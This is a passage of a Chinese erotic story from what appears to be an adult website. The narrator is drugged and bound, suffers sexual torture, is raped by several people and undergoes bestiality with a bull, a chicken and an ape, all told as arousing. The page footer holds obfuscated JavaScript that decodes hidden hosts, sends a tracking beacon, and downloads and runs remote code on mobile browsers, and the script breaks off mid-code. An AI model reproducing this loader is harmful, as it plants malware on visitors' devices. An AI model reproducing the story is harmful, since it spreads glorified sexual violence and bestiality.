脚,像扛着牲口一样把他抬了进去。但他并不是面朝上,而是朝向地面,双臂被
拧在身后,阳具直挺挺地垂着,龟头不时地磨擦着地面,每次被磨擦到,他都痛
苦地呻吟一声。
  接下来庄先生把我抱下来,拾起仍绑住我双脚的木棒,把我背在肩上,来到
马房,把我扔进一间马棚,关上了门。我的双脚仍被绑着,他丝毫没有解开它们
的意思。
  我听到他在叫马。马是一个又肥又丑的人,差不多有两米高,300来斤,
像一团肥肉,身上油乎乎的,不知道有多久没有洗过澡。他走进来帮我把木棒解
开,然后打开手铐,命令我双腿叉开趴在墙上。我身上被涂满了肥皂水,他用刷
子把我全身刷了个遍,连乳房和阴部都不放过。
  然后我被带到入口处,那里有个木桩,命令我坐在上面,又叫了一个女人过
来,把我的头发梳成长长的马尾,然后一圈圈地盘了起来。
  这一切都做完后,我被带到大厅,接受庄先生的检查。刚一进门,他们便命
令我四肢着地,要我爬进去,我就这样爬到房中央的一张桌子上,等待着庄先生
的驾临。他一进来便命令我张开腿,然后拿出纸和笔、皮尺,以及一支有刻度的
电动棒,然后在纸上写上我的名字、年龄、体重,开始向我问话。
  “有没有肛交过?”,“有。”
  “有没有用塞子堵住过?”,“有。”
  “和动物做过爱吗?”,“没有。”天哪,他不会强迫我这麽做吧?
  “被抽打过吗?”,“是的。”
  “直到打得你流血为止?”,“没有。”
  “被咬过吗?”,“是的。”
  “直到你流血为止?”,“没有。”
  “有没有戴过贞操带?”,“有。”
  “除了你的主人,还有人检查过你的身体吗?”,“有。”
  “肛门有没有被拳头插进去过?”,“没有。”太可怕了!
  “阴道有没有被拳头插进去过?”,“没有。”
  “还有别的主人吗?”,“是的。”
  “几个?”,“一个。”
  “用手自慰过吗?”,“没有。”
  “别人用手让你达到过高潮吗?”,“是的。”
  “男人还是女人?”,“女人。”
  “有没有被用冰块弄过?”,“您是指什麽?老板的太太在我身上曾用冰棒
弄过。”
  “哪里?”,“……”我指了指自己的下体。
  “外面还是里面?”,“里面。”
  “他们抽打过你的阴部吗?”,“是的。”
  “用棍子?”,“不是的。”
  “鞭子?”,“不是。”
  “屁股也被打过?”,“是的。”
  “骑过木马没有?”,“有。”想起来我都会全身发抖。
  “有没有用过检视器?”,“有。”
  “肛门也用过?”,“没有。”
  “有没有被装进过箱子里?”,“没有。”
  “有没有戴过假阳具?”,“没有。”他是指老板的太太喜欢戴着对我施虐
的的那种吗?
  “有没有被别的女人戴上假阳具插入肛门?”,“有。”
  “阴道呢?”,“也有。”
  “你那里有没有被电动棒弄过?”,“有。”
  “你目睹过主人惩罚别的奴隶吗?”,“没有。”
  “你和其他的奴隶做过爱吗?”,“没有。”
  “好了,来测量一下。”
  他站起来,叫我跪着挺直上身,用皮尺量我的头部和脖子,然后让我托起乳
房,量了量尺寸。
  他拿出一件东西,像是种设备,上面是各种大小不一的环。他把环一个个的
往我的乳房上面套,找出最合适的一只。他把数据记录下来,然后又开始量我的
腰和阴部。
  接着他命令我躺下,张开腿,把那支电动棒插进了我的下体。电动棒并不太
粗,毫不费力便插了进去。“啊……”他一边念出声,一边在纸上记录道:“回
答问题、被检查身体也会使她兴奋。”
  他转动电动棒的开关,我觉得那电动棒在体内一节节地变长,只听他说道:
“从15厘米开始。16厘米,没问题;20厘米,有点紧了;23厘米;25
厘米,好像不能再深了;28厘米,看来她有些受不了;再加到30厘米看看,
她开始哭了,看来就这麽多了;再加2厘米,她开始尖叫……”他把一个木制的
口塞堵住我的嘴,绑在我的脑后,“还没完呢!你给我住嘴!”他对我喝道。
  他转动另一个开关,电动棒在我体内慢慢地涨大起来,他继续刚才的过程:
“3厘米;5厘米,还好;8厘米,好像有点紧;10厘米,看来10厘米已经
到了极限。我得好好地调教她才好。”
  他一边检查,一边把结果大声念出来,使我既觉得羞耻,又觉得惶恐不安。
  然后他让我从桌上下来,爬在桌沿,电动棒仍然插在我体内,它已经变得粗
大无比,夹在腿间,我想闭拢双腿都不可能。他又拿起另一支相同的电动棒,插
进我的菊花蕾,最后得到的结果是15厘米长和5厘米粗。
  “不错,不错,我会把它再扩大一些,然后再把你还给你的老板。”说着他
把两根电动棒都扯了出来。我觉得两个洞口已经被撑到了极限,撕裂般地痛,可
他竟然还想把它们再扩大!
  他用手指钩住我的乳环,牵着它把我拖到一间畜栏,将它们绑在中央的木桩
上,我只能在很小的范围内移动。他命令马打开另外两扇门,一头公牛和一头母
牛立刻冲了进来,发狂似地在这狭小的空间里互相追逐起来,有几次几乎撞在我
身上,我不得不拼命地躲避。终于它们在一角纠缠在一起,竟然像人一样性交起
来。随后公牛又凑到我两腿间嗅着,我被吓得尖叫着,但双腿却又软绵绵的,不
敢动弹。
  我思想,故我是蝴蝶
  万年后小花的轻呼,
  透过无梦无醒的云雾,
  来震撼我斑斓的彩翼。
  这时庄先生走进来,命令把牛牵走,然后对我说道:“这是你的第一堂课,
就是兽交。接下来是第二堂课。”说着把我推到刚才两头牛做爱的角落,命令我
双手抓住脚踝,弯下腰,然后把阳具插入我那已被扩张得很开的阴道里。
  他的精力特别旺盛,不停地做着活塞运动,丝毫不知疲倦,直到在我体内射
将出来。他的精液又浓又多,他抽身而退时,有些液体顺着我的腿滑落出来,流
到了脚上。
  接着他又扯住我的乳环,牵着我往外走,浓稠的精液沿着大腿往下流着,我
的脚板变得又粘又滑。
  我被带到一具放了马鞍的架子旁。这种马鞍是用来放在那些野马身上,以固
定骑手来训练马匹用的,它下面的架子正像是一匹野马,马鞍就夹在它的背上。
  庄先生命令我爬上去,坐在马鞍上,把脚蹬在脚蹬里。我觉得很尴尬,因为
他的精液还在我的腿间滑落,而且我觉得体内还似乎有很多没有流出来,但我根
本无法控制,两腿已是粘乎乎的了。
  他用马鞭狠狠地抽打了一下,喝道:“我把你买回来,不是让你来享福,而
是要把你调教成顺服我的奴隶。知道吗!”
  我不得不慢慢地跨坐到马鞍上去,他把我的腿铐在两旁,把我的双手绑在马
脖子上。脖子粗大无比,而且冰凉刺骨,原来是用铁铸就的。然后他分开我的两
片阴唇,同时转动马尾,我立刻觉得腿间有东西升了起来。那东西一直刺入我体
内,不断地升高,直到不能再进入半寸。
  他按动一个开关,马立刻慢慢地动了起来,插在我体内的东西也随着上下抽
动着,同时还在不停地旋转。我只觉得呼吸困难,随着马的节奏加快,我的呼吸
越来越急促,下体疼痛难当。他见我快受不了了,终于又把节奏放慢,使我从快
崩溃的边缘清醒过来,但没等我缓过气,马上又把开关调快。他就这样翻来覆去
地折磨着我,每次刚要到高潮,他都会停下来,使我觉得无比的空虚。
  最后一次停下来时,我又快处于高潮了,我想自己上下套弄,但那东西竟慢
慢地缩了回去,我体内再也有可以满足我的东西,我不由自主地哭了起来。我的
老板都没有这麽残忍,不会让我这样不停地忍受这种煎熬。
  他又把我拖到木桌旁,把我的双腿打开,让我躺在上面,然后叫了一个女人
进来。
  她有着修长的身材,大约1米8左右,可能有130多斤重,头发短得像男
生。他告诉我说,她是个女同性恋,说着向她点了点头,我听到庄先生叫她“琪
儿”。
  她张开嘴,露出长长的舌头,我从没有见过这麽长的舌头,它让我联想到蛇
的样子,唯一不同的是上面没有分叉,显得诡异无比。她在我腿间弯下腰,开始
舔我的阴部,同时我觉得她的舌头还伸到了里面。我现在需要的是实物,而不是
这女人的舌头,可是经她这麽舔了一阵子后,我竟然也泄了出来,我感觉到她把
我体内流出的热流吸得乾乾净净。
  这女人简直不是人!但她又使我这麽兴奋,我的全身都因为高潮而抽搐。她
舔乾下面的爱液,又继续刺激我的阴核,没过多久,我又快要来了。她的手指在
我阴道里用指甲刮着里面的肉壁,同时来回地有节奏地抽动着。我还没来得及反
应,又泄了出来。
  他站起身来,只见她嘴唇边上沾满了粘液,她伸出舌头,把嘴唇舔乾净,像
是刚享受过美味。庄先生这才揪住我的发尾,把我拖到围栏边,把我锁了起来,
双脚绑在木桩上,然后他吹着口哨,慢慢走远了。
  突然一股刺痛从臀部到肩膀布满了全身,我回头一看,惊讶地发现他又到了
我的身后,手里握着一根鞭子,刚才就是用这根鞭子抽了我一下。他对我说,围
栏里有多少头牛,我就要挨多少下。我粗略地估计了一下,那里面至少有100
头牛,我几乎要晕倒了。
  我想向他哀求,可是随即我就知道哀求是没有用的,只要他觉得需要,我就
必须接受。他退后了几步,开始大声地报数:“一,二……”马这时也走了过来,
掏出肉棒塞进我的嘴里,命令我把他的东西吸出来。
  鞭子不停地落在我身上,痛得我想要尖叫,可是嘴又被肉棒堵住,发不出声
来。等到这一切全都结束,马也在我口里射了,淡腥的精液直冲入我的喉咙。
  我暗想:这下我应该可以被解开了吧。庄先生走过来,并没有解开绳索,而
是在我背上的伤痕上涂了一些药膏。他把鞭子在我面前晃了晃,那和老板在拍卖
会上用的鞭子差不多一模一样,只是稍微更长更粗。然后他把鞭子的手柄插入了
我的肛门,等到再也不能深入,他拼命地把我的臀部掰开,又强行插入了一点。
  他做了个手势,突然就有人过来握住手柄抽动起来,但没过多久他们就离开
了,只剩下我一个人。这样过了一个小时,我发现围栏里的牛全被牵走了,庄先
生带着跟我一起到达的那个奴隶走了出来,他的肉棒和睾丸上被穿了两只小环,
上面绑着根绳子,绳子的另一头就牵在庄先生的手里。
  庄先生一手牵着绳子,一手拿起皮鞭抽打起这个奴隶来,每次他想要躲开,
庄先生就会牵着绳子把他拖回来。鞭子雨点般落在他的臀部、肉棒上,痛得他不
停地惨叫。庄先生命令他住嘴,把他拖到围栏的入口,手脚被绑在入口两旁,然
后把绳子绕在肩膀上。
  我这时已忘记了身上的疼痛,我目不转睛地看着,根本没有想起来一个小时
以前我也被这样抽打着。
  庄先生走到他身后,脱下裤子,肉棒立即直挺挺地弹了出来。他使劲地掰开
男奴的双臀,对他说道:“你想要尖叫是不是?我就让你叫个够!”说着便把阳
具插入了男奴的肛门,飞快地抽插着。每次插入,庄先生就拼命地拉绳子,把男
奴的睾丸和肉棒高高地提了起来。随着他插得更深,那奴隶叫得就更凄厉。
  我的注意力完全被他们吸引过去了,没有发现琪儿已来到了身边,把手指又
塞入了我的下体,我被吓了一跳。只听她说道:“我想知道你喜不喜欢看别人受
虐,现在我知道了,你恨不得受惩罚的人就是自己。对吧?”
  她解开我身上的绳子,可是鞭子仍然插在我的体内。她扯着鞭子,把我拖到
一间房里,取掉了我的乳环,要我站在一个像桌面似的东西上。它是由两块板组
成,两头各有两只铁环,她命令我跪在上面,上身趴在桌面上,然后把我的手脚
铐住。她按下一个开关,桌面慢慢地升了起来,直到超过她的头顶。
  她从柜子里拿出一支注射器和一瓶药剂,把注射器灌满,向我走过来。我明
白她要干什麽了,我挣扎着想逃开,但她已到了我的身后,拨弄着我的阴唇,叫
我别紧张,说着把插在菊花蕾里的鞭子拔了出来。
  她又走到这一头,玩弄着我的乳房,没过多久,我的乳头又变硬了。她握住
右乳,把注射器的针头刺了进去,我能感觉到冰凉的药剂在通过乳房血管流遍了
我的胸脯,接着她给我的左乳也注射了一针。没过多久,我就觉得双乳开始有点
发胀,她见我有点难受,便向我解释道,刚才给我注射的是催乳剂,以后每天他
们要喝奶水,都会为我注射这东西。我简直欲哭无泪,他们把我当作什麽了?
  只见她在纸上记录下了一些东西,然后把一台机器推了过来,从上面取下两
只杯子,套在我的乳房上,杯子深深地卡在我的胸脯上。然后她把一支铁制的前
端细细的电动棒插入了我的下体,告诉我说:“机器一开动,电动棒就会抽动,
只要你一有高潮,杯子就会自动去挤压乳房,你的奶水就会被吸出来,通过连着
杯子的小管流进瓶子里。”说着,她把瓶子指给我看,那是一只巨大的瓶子。她
又说道:“我要等到瓶子装满才会停下来,所以你要有心理准备,会兴奋很久的
哦!”她兴奋得脸蛋胀得通红。
  说着她开动了机器,电动棒开始抽动了,前端细细的东西在我阴道里强烈地
振动着。电动棒前后抽动,同时还在转动着,外面还有一只小头,不停地刺激着
阴蒂。
  我马上就泄了出来,杯子立刻吸住了我的乳房。我觉得自己已经到了高潮的
顶峰了,然而只有几滴奶水流出来。
  杯子刚一停,电动棒立刻又振动起来,这次它好像变得长些,也粗了一圈。
  我被刺激得高潮不断,每次高潮过后,电动棒就会变得更粗大,可是那瓶子
还是没有接满。最后电动棒胀得好像都快把我那里撑破了,我觉得那里可能都要
流血了。这时庄先生冲了进来,一把拔出电动棒,见琪儿把我弄成这样,他就像
要发狂了似的。他命令她把我放下来,告诉我说,他不知道琪儿会这样对我。这
套设备对我来说还早了点,因为我刚来农场没多久。
  琪儿把我放下来,我立刻软瘫在地上,一动都不能动,全身的骨头都像散了
架。
  我被带到自己的棚里,他们把我扔在杂草堆里。庄先生命令她把我洗乾净,
她温柔地替我抹着身体,因为庄先生正看着。
  等到这些做完,他向她伸出手指,命令她过去,脱光了衣服,我惊奇地发现
她的乳房上也挂着两只环。庄先生命令她躺在中间一个木凳上,阴部完全坦露出
来。他把琪儿的乳房从根部捆了起来,对她说道:“你竟敢违背我的指示!我要
好好地收拾你,让你站不起来!”
  “不要!主人,别这样!你要我做什麽都可以。”
  “首先我要抽你的屁股。”庄先生说道。
  他拿起一块扳子,把她的臀部抽得通红,然后伸手揉着,同时让马把一个男
奴隶带进来。这奴隶的肉棒上还套着一个长套子,庄先生对我解释道:“他的阳
具可是世上无匹的,但是我没让他射精,他就要戴着这套子。琪儿不是恨男人碰
她吗?我就用这奴隶来惩罚她,残忍地强奸她!”说着他喝令琪儿不得反抗。
  他取下男奴隶的套子,男奴隶的肉棒立刻肿胀起来。他看着主人,庄先生拍
了拍他的屁股,向他点了点头,他马上扑在琪儿身上,把肉棒捅了进去,她立刻
痛得抽泣起来。庄先生说道:“琪儿的那里很紧,因为她只有在受惩罚时才能在
那里插入玩具或肉棒。我告诉过你,她是个女同性恋,对她最严厉的惩罚就是让
她被卑贱的奴隶强暴。”
  琪儿放声痛哭起来,乳房因为被捆着,也随着奴隶的抽动而直挺挺地弹动。
  庄先生一边欣赏着这场景,一边抚弄着我,一边命令开饭。
  厨师托着一只碗进来,里面装着一碗汤,我早已是饥肠漉漉,于是把汤喝得
丁点不剩。喝完了汤,我终于恢复了一点力气。
  庄先生掏出阳具,让我替他吹弄。他告诉我,如果表现得好,晚上可以睡在
床上,否则会把我像牲口一样捆起来,整晚都躺在地板上。
  我急忙跪下来,把他的阳具含在嘴里,像以前老板调教过的那样,卖力地套
弄着,不时地用舌头舔他的睾丸和马眼。庄先生呻吟着,抓着我的头发,把我一
把拖近,自己在我嘴里抽插,直到把精液全喷在我的嘴里。
  他满意地系上了皮带后,对我说道:“晚上不会有人再为难你了,好好休息
吧!”说着关上门,把我锁在棚里走了。
  我全身还是软绵绵的,一点力气都没有。我爬到床上,蜷曲着身体,安然入
睡,因为庄先生说过,今晚再也不会有人来折磨我了。
  我睡得很死,天亮的时候我不由得惋惜这一夜太短了,天一亮,他们不知道
又会有什麽花样用到我身上。
  我听到开门的声音,我被带到一个大房间里,至少已经有20个女人和15
个男人在里面了。一条长长的木板横贯整个房间,每个人面前的木板上都有三个
洞,他们的头和双手就从木枷的洞里伸出来,被锁在上面;他们的下半身站在一
条槽子里,地板上有很多孔,他们的脚就被锁在这些孔里。每个人都没有任何表
情,但我看得出来他们的心情,因为以这样不舒服的姿势站着,没有人会好受。
  他们就像一群奶牛,正排队等着被榨乾身上的乳汁。
  我的头和手也像他们一样被锁了起来,脚被分开锁在身后的地板上。接着有
人往我们身上喷满肥皂水,然后用刷子像刷牲口一样把我们洗刷乾净,尖锐的毛
刺在身上,房间里立刻充满了呻吟声。
  接着他们用一些装满黄色液体的小瓶把液体灌进我们的阴道和菊花洞里,然
后用一种跟瓶刷差不多的东西伸到里面刷着。那黄色的液体应该也是肥皂水,因
为随着他们的动作,肥皂泡就从我下体飘了出来。接着他们拖来水管,用冰冷的
水冲洗我们的阴部或男人的肉棒,再又把水龙头使劲插入肛门,打开开关,像灌
肠一样把水注入我们的直肠里。然后他们站起身,水龙头还留在我们体内。
  他们脱下裤子,我这才发现他们也是男女各半,站在我面前的是个女孩。我
正不知该怎麽做,发现隔壁的姑娘正用口在吮吸面前男人的肉棒,我忙靠近面前
的女孩,头伸到她的下体,舔起她的阴部来。我先是上下都舔了一遍,然后集中
吮吸她的阴蒂,直到她好像到了高潮。等到全都做完,这些人才把水龙头拔了出
来,房间里顿时全是排泄的声音。他们又用肥皂把我们刷洗乾净。
  接着他们又把一根水龙头插入我们的嘴里,清凉的液体流进了我们的喉咙,
我意识到这就是我们的早餐。
  我们被套上口塞,带到房中央的桌前站定。这张桌子呈十字形,中间竖着一
根木头阳具,整张桌子看起来还有其他许多巧妙的设计。他们把我拖到桌上,命
令我坐下来,臀部正对着那根阳具。它坚硬无比,我费了很大力气才坐下去,累
得我气喘吁吁。我的腿被踢开,这样我全身的重量就落下来,我那下面就像要裂
开一样,这根假阴茎对我来说实在是太粗了。
  他们命令我平躺下来,把我的腿分开,铐在两块板子上;我的头也被固定起
来。他们移动木板,使我的双腿完全打开,然后把我的双臂也绑在两块板子上,
并住了我的眼睛。
  只听他们说道:“早上的调教是试验你的感觉。我们会放一些东西到你的手
上、嘴里、乳房、肛门以及阴部,你要说得出来那是什麽。如果答错了,你就会
挨九下鞭子,每次挨打的地方都会不同。现在开始吧!”
  我感觉到有东西放在我的手掌上,我握住它,那是两只小球,捏上去好像还
有声音;我再往上摸,我忽然明白那是一根肉棒,“睾丸。”我马上答道。
  “不错,这个很简单。”
  接下来我感觉他们把一样东西放在我的胸脯上,缓缓地蠕动着,我害怕得尖
叫起来。立刻鞭子落在我的阴部:“告诉我们那是什麽!”我控制不住自己,不
停地尖叫,身上已被不知抽打了多少下。
  我终于回过神来,喘气道:“……好像……是一条蛇……”果然不错。他们
把蛇拿开,戏弄似的把蛇头在我的阴部碰了一下。
  然后我听到有什麽东西被带了进来,那声音听起来古怪极了。我感觉到一根
长长的舌头在舔我的阴部,接着那舌头分开阴唇,继续舔里面的肉缝。我颤抖起
来,因为我已知道那是什麽,我从没有想到过我那里会被一头牛来舔。我用发抖
的声音答道:“一头牛。”我只希望他们赶快把牛牵走。
  我听到他们说:“答对了。再来一个。”
  他们还有什麽古怪的花样?我觉得自己在这些人面前就像只牲口一样,一文
不值。我听到“咯咯咯”的叫声,有东西触到阴核,然后一个锐物在上面啄了起
来。我放声痛哭,抽泣着答道:“一只鸡。”
  我听到他们在笑:“不错,又答对了。”
  然后房里忽然静了下来。
  有人把什麽东西塞入了我的阴道,直到完全进入,开始把手放在上面揉着,
下面传来一阵金属的撞击声。我以为那是铁制的假玩具,但并不是,鞭子马上又
落在我的胸部。那人继续在我的阴部揉着,同时把那东西抽出了一点,那是条链
子,我可以感觉到锁链接口处的磨擦。“对了。”他把手指放在阴核上,一边挑
逗着,一边把链子一截截地扯出来,我顿时便达到了高潮。
  等到链子被完全抽出,他在我的阴部又放上了一只蝴蝶形的振动器,对我说
道:“现在开始计时,看看你在这段时间能有几次高潮。开始!”说着他打开开
关,振动器开始附在阴部上狂震。
  我越来越兴奋,我想扭动身体,可是结果是只能在木头阳具上上下套弄。很
快我就泄了一次,但振动器仍在狂震着,我又泄了出来。等到第三次高潮来时,
我已经筋疲力尽了,汗水遍布了全身,乳头高高地翘着。我感觉到他想把乳环再
穿进去,但那上面的小洞已经闭合了,他试了几次都没有成功。只听他们说道:
“过几天再替她重新穿孔吧!”
  我已说不出话来,我的身体都好像开始抽筋了。房间里的其他奴隶也似乎有
人兴奋起来了,急促的呼吸声此起彼伏。
  “刚才让你爽过了,现在要给你更厉害一点的尝尝。”那人对我说道。
  我身上的束缚被解开了,他想让我从那根填满了我的菊花蕾的假阴茎上站起
来,但它实在是太粗了,紧紧地卡在里面,而我又全身乏力,根本站不起来。他
从屋梁的滑轮牵下来一跟绳子,捆住我的乳房的根部,把绳子往上拖。我拼命地
把身体一点点地往上提,等到假阴茎完全出来,我的双腿已经发软,要不是乳房
拴着的绳子,差点又坐了下去。
  他把我抱到地上,命令我张开腿,把另一根假阳具插入了我的下体,同时转
动开关,直到电动棒不能再深入。我不知道他是怎麽掌握这分寸的,可能是因为
我脸上痛苦的表情告诉了他吧!
  他在电动棒上拴上一根皮带,在我的乳头上夹上了两只鳄鱼夹,挂上两只铃
铛,只要我身体稍微移动,铃铛便会“叮当”作响。然后他牵着皮带,带我走了
出去,来到后面的一栋建筑物里。入口是用铁栅栏围起来的,我们走进去时,我
发现入口处挂着块牌子,上面写着:“欢迎光临庄某的动物园。”
  走进去就听见笼子里传来猴子的吼声,还有些游客在四处闲逛,想必都是庄
先生的客人。他命令我背靠着门,帮我取掉插在体内的玩具,拿来几根冰激凌,
涂在我的阴部,把门推开,将我挤了进去。
  我站在笼子的门边,正中央坐着一只又黑又丑的猩猩。我从未见过这麽丑的
猩猩,吓得我掉头想逃,这才发现门已被锁上,把我和这丑陋的怪物关在一起。
  外面的游客这时也围拢过来,他们大都用皮带牵着自己的奴隶。
  猩猩站了起来,盯住我看了一阵,然后像嗅到了什麽气息,向我走过来。我
害怕地想要躲开,但笼子的空间有限,它追逐了几圈,忽然伸出爪子,搭到我的
胸脯上来。我忙逃向另一个角落,猩猩追上来,把我打翻在地,同时把那毛绒绒
的爪子伸到我的阴部,同时把我举起来,像是要表演给笼外的人看。
  它把我抱到自己坐过的地板处,把我放下,一只手掌粗鲁地扯着我的头发,
坐了下来,然后抱着我的腰,把我头下脚上放着,我的嘴正对着它那黑黑的毛茸
茸的阴茎。它竟然还知道压住我的头,把那阴茎插进我的嘴里,同时还用尖锐的
爪子揉着我的胸脯,嘴巴在我的阴部猛舔,我几乎要怀疑这到底是不是猩猩了。
  我惊恐地尖叫着,外面的人则在拍手喝彩,他们的奴隶则个个都表现出心的
神情,我想他们是在担心这一幕会发生在他们自己身上,而又不能抗拒。
  我看见庄先生也走了进来,站在笼子边,悠闲地欣赏着猩猩对我的强暴,有
几秒钟我们的视线接触了一下。猩猩正在我的身上揉弄着,我的嘴说不出话,我
只好用眼神向他哀求,眼眶里充满了泪水。
  他走进笼子,在猩猩身上猛拍了几掌,我心中一宽,以为这下猩猩应该要放
开我了,可没想到它竟然抓着我的头,飞快地使我的嘴在它的阴茎上套弄,一边
不停地仰头吼叫。它的舌头上似乎还有倒刺,刮得我那里又痛又痒。等到它在我
嘴里喷出又腥又臭的浓浓的精液后,才一把将我扔在地上。
  看着这头诡异的猩猩,我已经吓得发不出任何声音,我只知道慢慢地向门口
爬去,有人把门打开,将我拖了出去。我看见那猩猩的黑脸现出愤怒的表情,它
冲到门边,但门已被锁住,它站在那里,对着被拖走的玩具狂吼起来。
  我几乎快要站不起来了。庄先生给我套上一只颈环,猛拉一下皮带,拖着我
跟在他身后爬了出去。
  他把我带到他自己的楼房里,上楼来到浴室,让女佣人替我梳洗。她用一种
香喷喷的液体护理我的阴部,然后自己也脱光了衣服,和我一起走进浴缸,手里
拿着特制的注射器,里面的液体带着股刺鼻的味道。她把注射器插入我的阴道,
把液体全挤了进去,一边告诉我说,这样会使我的阴部在受到这麽多的蹂躏后仍
能保持紧绷和弹性。我叹了口气,这也意味着男人们可以在我身上更好地发泄,
而我还将继续受罪。
  她又把一根水管插进我的肛门,用肥皂水冲洗里面,直到流出来的是清水为
止。由于今天一天根本没有吃什麽东西,我排出的异物并不多。等到我全身上下
都洗乾净后,她把我的双手绑在淋浴龙头上。
  庄先生走了进来,也脱掉衣服,背对着我,自顾自地冲着淋浴,好像我并不
存在。等到他转过身来,他那下面已经是直挺挺的了,他把我摁在墙上,抵住我
的阴部,想要插进去,但阳具滑向了一边,他这才惊讶地发现我下面已是湿漉漉
的了。
  他不再坚持,关掉淋浴,他解开我的手,让我坐在池子边,双腿分开,然后
拿出一些胶带贴在我的阴部上,甚至连内壁也贴上胶带。接着他要我抬起手臂,
在腋窝下也贴上胶带。全都贴好后,他突然猛地撕掉了贴在腋窝上的胶带,痛得
我直冒冷汗。他如法炮制,把贴在阴部的胶带也撕了下来,只见上面粘满了我的
体毛。最后贴在阴唇内壁的也被撕了下来,把那里稀疏的几根毛也撕掉了。
  他递给我一套衣服,命令我穿上。那是一条绳子绑成的丁字裤和一件上衣,
上衣的前胸被剪成了巨大的心形,使我的双乳全都暴露在外面。穿成这样子,我
觉得自己就像是一个妓女。
  现在已经是下午六点,他把我领下楼,来到一间房内,这里面挤满了人。看
到我的样子,有人的手已经伸进了我的上衣,揉弄着我的乳房;还有人抓住我的
双臂,扭到背后。他们个个都像疯了一般。我的衣服被撕了下来,我不禁好笑,
既然这样,刚才为什麽又要我穿上它呢?我在人群中寻找庄先生,但他已经不在
了,房里只剩下我和这些疯狂的家伙。
  我被扔到沙发上,有人用牙把丁字裤咬掉,在我的腿间乱舔;另一个人撬开
我的嘴,把阳物插进去,立刻就在里面捣弄着,也不在意我是否配合他的动作。
  我还来不及反应,又有人抓住我的两腿掰开,另一人不由分说便捅了进去。
我那里现在又紧又乾,顿时痛得我全身直冒冷汗。
  在我嘴里抽动的家伙很快就射了精,我张开嘴想叫,但另一个人马上接班,
将阳具又捅了进来。我的双手被引导着握住了两根肉棒,要我用手去套弄,我只
觉得刚恢复了一点的气力又被一丝丝地抽掉,全身酸软,只能任由他们摆布。嘴
巴和阴道都被堵住,双手根本用不上力。
  站在我腿间的家伙忽然叫大家停住,抱着我坐到一张椅子上,肉棒还插在我
体内,让后让其他人继续刚才的姿势。只听他说道:“我们忘记了还有一个重要
的地方。”说着他把我的双臀掰开,立刻有人醒悟过来,把肉棒插了进去。
  这人伏在我背上,柔软的胸脯紧贴着我背上的皮肤,我听到她大笑起来,原
来是琪儿!她吃吃地笑着,一边开始抽动,同时就像从没有看见过别人的脖子似
的狂吻着我的脖子。抽动了几下,她和我身下的男人同时到了高潮。立刻有人把
男人换下,但琪儿仍趴在我身上,没换一个人,她就换一根电动棒,有的上面还
有颗粒状的突起。
  下面的人至少换了有七次,最后一人上来时,我已经有点神智不清了,我像
金鱼似的翻着白眼,大口大口地喘着粗气,身上糊满了黏液。那人见状,便对我
说道:“我知道怎麽才能让你清醒。”说着对我奸笑起来,露出尖尖的牙齿。

 

 热门搜索:

 友情链接:




返回首页 | 返回顶部

提示:点击查看永久收藏和无法观看电影说明【记住我们的邮箱:[email protected] 发送任意内容自动回复本站最新地址。】
警告:如果您未滿18歲或您當地法律許可之法定年齡、或是對情色反感或是衛道人士建議您離開本站! 本站歸類為限制級、限定為成年者已具有完整行為能力且願接受本站內影音內容、及各項條款之網友才可瀏覽,未滿18歲謝絕進入。
本站已遵照「iWIN網路內容防護機構」進行分類,如有家長發現未成年兒童/少年瀏覽此站、請按照此方法過濾本站內容 >>『網站分級制度』
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 